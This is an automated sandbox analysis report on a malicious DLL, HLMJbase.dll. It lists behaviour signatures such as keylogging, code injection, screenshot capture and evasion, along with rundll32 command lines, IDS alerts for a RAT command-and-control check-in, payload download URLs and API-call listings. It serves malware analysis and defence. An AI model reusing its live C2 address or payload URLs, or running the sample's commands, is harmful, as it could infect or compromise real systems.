Edit tour

Windows Analysis Report
HLMJbase.dll

Overview

General Information

Sample name:	HLMJbase.dll
Analysis ID:	1579416
MD5:	250eb1ef1645f13252ef13c14ba66d51
SHA1:	4aa14d113af1d74fbd1adbc16c10126b69878d0b
SHA256:	dacdac1e333a1f45700e3707e617ff49c457226604f1ffa160fc3faf9b6810b3
Tags:	dlluser-smica83
Infos:

Detection

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

AI detected suspicious sample

Contains functionality to capture and log keystrokes

Contains functionality to inject code into remote processes

Contains functionality to inject threads in other processes

AV process strings found (often used to terminate AV products)

Checks for available system drives (often done to infect USB drives)

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to clear windows event logs (to hide its activities)

Contains functionality to communicate with device drivers

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Installs a global mouse hook

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

Sample execution stops while process was sleeping (likely an evasion)

Sleep loop found (likely to delay execution)

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 7484 cmdline: loaddll32.exe "C:\Users\user\Desktop\HLMJbase.dll" MD5: 51E6071F9CBA48E79F10C84515AAE618)

conhost.exe (PID: 7492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7532 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\HLMJbase.dll",#1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

rundll32.exe (PID: 7560 cmdline: rundll32.exe "C:\Users\user\Desktop\HLMJbase.dll",#1 MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 7544 cmdline: rundll32.exe C:\Users\user\Desktop\HLMJbase.dll,NvOptimusEnablement MD5: 889B99C52A60DD49227C5E485A016679)

WerFault.exe (PID: 7796 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7544 -s 724 MD5: C31336C1EFC2CCB44B4326EA793040F2)

rundll32.exe (PID: 7668 cmdline: rundll32.exe "C:\Users\user\Desktop\HLMJbase.dll",NvOptimusEnablement MD5: 889B99C52A60DD49227C5E485A016679)

cleanup

Suricata Signatures

ET MALWARE Anonymous RAT CnC Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-22T09:17:11.577682+0100	2052875	1	A Network Trojan was detected	192.168.2.4	49739	45.204.213.99	7677	TCP
2024-12-22T09:18:23.960106+0100	2052875	1	A Network Trojan was detected	192.168.2.4	49746	45.204.213.99	7677	TCP
2024-12-22T09:19:34.451747+0100	2052875	1	A Network Trojan was detected	192.168.2.4	49933	45.204.213.99	7688	TCP
2024-12-22T09:20:58.342264+0100	2052875	1	A Network Trojan was detected	192.168.2.4	50030	45.204.213.99	7677	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBDE8E0 EncryptMessage,	3_2_6CBDE8E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBB0332 DecryptMessage,	3_2_6CBB0332
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBD9840 DecryptMessage,memset,	3_2_6CBD9840
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBD961E EncryptMessage,	3_2_6CBD961E

Source: HLMJbase.dll

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE, DLL

Source: unknown	HTTPS traffic detected: 38.147.186.138:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 38.147.186.138:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 38.147.186.138:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 38.147.186.138:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 38.147.186.138:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 38.147.186.138:443 -> 192.168.2.4:49737 version: TLS 1.2

Source: HLMJbase.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source:

Binary string: HLMJbase.pdb source: rundll32.exe, 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.4184561254.000000006CC06000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.4183830787.000000006CC06000.00000002.00000001.01000000.00000003.sdmp, HLMJbase.dll

Source: C:\Windows\SysWOW64\rundll32.exe	File opened: z:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: x:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: v:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: t:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: r:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: p:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: n:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: l:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: j:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: h:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: f:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: b:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: y:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: w:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: u:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: s:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: q:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: o:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: m:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: k:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: i:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: g:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: e:	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: c:	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: [:	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_054C8060 wsprintfW,GetLogicalDriveStringsW,lstrcmpiW,lstrcmpiW,QueryDosDeviceW,lstrlenW,__wcsnicmp,lstrcpyW,lstrcpyW,lstrcatW,

4_2_054C8060

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2052875 - Severity 1 - ET MALWARE Anonymous RAT CnC Checkin : 192.168.2.4:49739 -> 45.204.213.99:7677
Source: Network traffic	Suricata IDS: 2052875 - Severity 1 - ET MALWARE Anonymous RAT CnC Checkin : 192.168.2.4:49746 -> 45.204.213.99:7677
Source: Network traffic	Suricata IDS: 2052875 - Severity 1 - ET MALWARE Anonymous RAT CnC Checkin : 192.168.2.4:49933 -> 45.204.213.99:7688
Source: Network traffic	Suricata IDS: 2052875 - Severity 1 - ET MALWARE Anonymous RAT CnC Checkin : 192.168.2.4:50030 -> 45.204.213.99:7677

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 38.147.186.138 443			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 45.204.213.99 7688			Jump to behavior

Source: global traffic

TCP traffic: 192.168.2.4:49739 -> 45.204.213.99:7677

Source: global traffic	HTTP traffic detected: GET /19/7.txt HTTP/1.1accept: /host: dcttx.com
Source: global traffic	HTTP traffic detected: GET /19/7.txt HTTP/1.1accept: /host: dcttx.com
Source: global traffic	HTTP traffic detected: GET /19/77.bin HTTP/1.1accept: /host: dcttx.com
Source: global traffic	HTTP traffic detected: GET /19/77.bin HTTP/1.1accept: /host: dcttx.com
Source: global traffic	HTTP traffic detected: GET /19/7.txt HTTP/1.1accept: /host: dcttx.com
Source: global traffic	HTTP traffic detected: GET /19/77.bin HTTP/1.1accept: /host: dcttx.com

Source: Joe Sandbox View	ASN Name: CODECCLOUD-AS-APCodecCloudHKLimitedHK CODECCLOUD-AS-APCodecCloudHKLimitedHK
Source: Joe Sandbox View	ASN Name: ITACE-AS-APItaceInternationalLimitedHK ITACE-AS-APItaceInternationalLimitedHK

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99
Source: unknown	TCP traffic detected without corresponding DNS query: 45.204.213.99

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6CBF84E7 recv,WSAGetLastError,

3_2_6CBF84E7

Source: global traffic	HTTP traffic detected: GET /19/7.txt HTTP/1.1accept: /host: dcttx.com
Source: global traffic	HTTP traffic detected: GET /19/7.txt HTTP/1.1accept: /host: dcttx.com
Source: global traffic	HTTP traffic detected: GET /19/77.bin HTTP/1.1accept: /host: dcttx.com
Source: global traffic	HTTP traffic detected: GET /19/77.bin HTTP/1.1accept: /host: dcttx.com
Source: global traffic	HTTP traffic detected: GET /19/7.txt HTTP/1.1accept: /host: dcttx.com
Source: global traffic	HTTP traffic detected: GET /19/77.bin HTTP/1.1accept: /host: dcttx.com

Source: global traffic

DNS traffic detected: DNS query: dcttx.com

Source: Amcache.hve.8.dr	String found in binary or memory: http://upx.sf.net
Source: rundll32.exe, 00000003.00000003.1739047373.0000000002888000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.2008105051.000000000284A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1738872358.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1763776267.0000000002787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dcttx.com/19/7.txt
Source: rundll32.exe, 00000004.00000003.1738872358.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dcttx.com/19/7.txt.
Source: rundll32.exe, 00000003.00000002.2008105051.000000000284A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dcttx.com/19/7.txtD
Source: rundll32.exe, rundll32.exe, 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.4184561254.000000006CC06000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.4183830787.000000006CC06000.00000002.00000001.01000000.00000003.sdmp, HLMJbase.dll	String found in binary or memory: https://dcttx.com/19/7.txtFailed
Source: rundll32.exe, 00000005.00000003.1763776267.0000000002787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dcttx.com/19/7.txtp
Source: rundll32.exe, 00000003.00000003.1770310682.0000000002887000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1739047373.0000000002888000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1738900816.00000000028C2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1738731092.0000000002D12000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1768941964.0000000002CD6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1738872358.0000000002CD7000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4176037293.0000000002C9A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1833709462.0000000002CBD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1763620953.00000000027C1000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1844676174.000000000276D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2355356834.000000000277B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2891476609.000000000277B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1763776267.0000000002787000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1795184851.000000000276D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3064884794.000000000277B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.4176187047.000000000276C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2739932660.000000000277B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1795350329.0000000002785000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dcttx.com/19/77.bin
Source: rundll32.exe, 00000003.00000002.2008196874.0000000002888000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1770250771.000000000286B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1770310682.0000000002887000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dcttx.com/19/77.bin.
Source: rundll32.exe, 00000003.00000002.2008196874.0000000002888000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1770250771.000000000286B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1770310682.0000000002887000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dcttx.com/19/77.binH

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 38.147.186.138:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 38.147.186.138:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 38.147.186.138:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 38.147.186.138:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 38.147.186.138:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 38.147.186.138:443 -> 192.168.2.4:49737 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to capture and log keystrokes

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: [esc]	4_2_054CE7B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: [esc]	4_2_054CE7B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: [esc]	4_2_054CE7B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: [esc]	4_2_054CE7B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: [esc]	5_2_04E8E7B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: [esc]	5_2_04E8E7B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: [esc]	5_2_04E8E7B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: [esc]	5_2_04E8E7B0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_054CE7B0 CreateMutexW,GetLastError,_memset,Sleep,GetTickCount,GetTickCount,GetTickCount,InterlockedExchange,OpenClipboard,GetClipboardData,GlobalSize,GlobalLock,wsprintfW,_memset,GlobalUnlock,CloseClipboard,WaitForSingleObject,CreateFileW,SetFilePointer,lstrlenW,WriteFile,CloseHandle,ReleaseMutex,GetKeyState,lstrlenW,wsprintfW,lstrlenW,lstrlenW,wsprintfW,wsprintfW,wsprintfW,lstrlenW,WaitForSingleObject,CreateFileW,SetFilePointer,lstrlenW,WriteFile,CloseHandle,ReleaseMutex,

4_2_054CE7B0

Source: C:\Windows\SysWOW64\rundll32.exe

4_2_054CE7B0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_054CBBF0 GetDesktopWindow,GetDC,GetDC,CreateCompatibleDC,GetDC,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,ReleaseDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,CreateCompatibleBitmap,SelectObject,SetStretchBltMode,GetSystemMetrics,GetSystemMetrics,StretchBlt,_memset,GetDIBits,_memset,DeleteObject,DeleteObject,ReleaseDC,DeleteObject,DeleteObject,ReleaseDC,

4_2_054CBBF0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_054CE450 CreateMutexW,GetLastError,SHGetFolderPathW,lstrcatW,CreateMutexW,WaitForSingleObject,CreateFileW,GetFileSize,CloseHandle,DeleteFileW,ReleaseMutex,DirectInput8Create,GetTickCount,GetKeyState,

4_2_054CE450

Source: C:\Windows\SysWOW64\rundll32.exe

Windows user hook set: 0 mouse low level C:\Windows\System32\DINPUT8.dll

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CB94854 NtCreateFile,RtlNtStatusToDosError,CreateIoCompletionPort,SetFileCompletionNotificationModes,GetLastError,CloseHandle,	3_2_6CB94854
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CB94268 NtDeviceIoControlFile,RtlNtStatusToDosError,	3_2_6CB94268
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBE83D0 GetStdHandle,GetLastError,GetConsoleMode,NtWriteFile,WaitForSingleObject,RtlNtStatusToDosError,CloseHandle,	3_2_6CBE83D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CB93EDC NtCancelIoFileEx,RtlNtStatusToDosError,	3_2_6CB93EDC

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6CB94268: NtDeviceIoControlFile,RtlNtStatusToDosError,

3_2_6CB94268

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_054CB3D0 ExitWindowsEx,	4_2_054CB3D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_054CB3F4 ExitWindowsEx,	4_2_054CB3F4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_054CB3AC ExitWindowsEx,	4_2_054CB3AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04E8B3F4 ExitWindowsEx,	5_2_04E8B3F4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04E8B3D0 ExitWindowsEx,	5_2_04E8B3D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04E8B3AC ExitWindowsEx,	5_2_04E8B3AC

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBD6D3C	3_2_6CBD6D3C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBB481F	3_2_6CBB481F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBBAA6C	3_2_6CBBAA6C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBA8469	3_2_6CBA8469
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBD9CA8	3_2_6CBD9CA8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBB1C98	3_2_6CBB1C98
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CB614AB	3_2_6CB614AB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBC90A8	3_2_6CBC90A8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC02C95	3_2_6CC02C95
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBF4CCF	3_2_6CBF4CCF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBA2D0F	3_2_6CBA2D0F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CB8EE05	3_2_6CB8EE05
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CB7CF24	3_2_6CB7CF24
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBF4898	3_2_6CBF4898
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBB28F9	3_2_6CBB28F9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC02893	3_2_6CC02893
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CB9A814	3_2_6CB9A814
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CB6E875	3_2_6CB6E875
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CB6CAD0	3_2_6CB6CAD0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBB8A77	3_2_6CBB8A77
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CB90B40	3_2_6CB90B40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CB68430	3_2_6CB68430
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CB9653C	3_2_6CB9653C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBFA508	3_2_6CBFA508
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CB9255C	3_2_6CB9255C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBDC6DA	3_2_6CBDC6DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CB666D9	3_2_6CB666D9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CB7A64D	3_2_6CB7A64D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBE8780	3_2_6CBE8780
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBC4719	3_2_6CBC4719
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CB7C1AC	3_2_6CB7C1AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBE41F0	3_2_6CBE41F0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBA6291	3_2_6CBA6291
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CB8E3C7	3_2_6CB8E3C7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBF2350	3_2_6CBF2350
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBDDC97	3_2_6CBDDC97
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC03CF4	3_2_6CC03CF4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBDDCEB	3_2_6CBDDCEB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBDDC7A	3_2_6CBDDC7A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CB6BDB1	3_2_6CB6BDB1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CB61DF7	3_2_6CB61DF7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CB79D26	3_2_6CB79D26
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBDBD1C	3_2_6CBDBD1C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBEBD70	3_2_6CBEBD70
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CB8DD45	3_2_6CB8DD45
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CB85E16	3_2_6CB85E16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBEDFFE	3_2_6CBEDFFE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBC3F75	3_2_6CBC3F75
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBE9F40	3_2_6CBE9F40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC018D7	3_2_6CC018D7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBBBA52	3_2_6CBBBA52
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBF9BE5	3_2_6CBF9BE5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBD5B14	3_2_6CBD5B14
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CB854EF	3_2_6CB854EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBE347E	3_2_6CBE347E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBAB537	3_2_6CBAB537
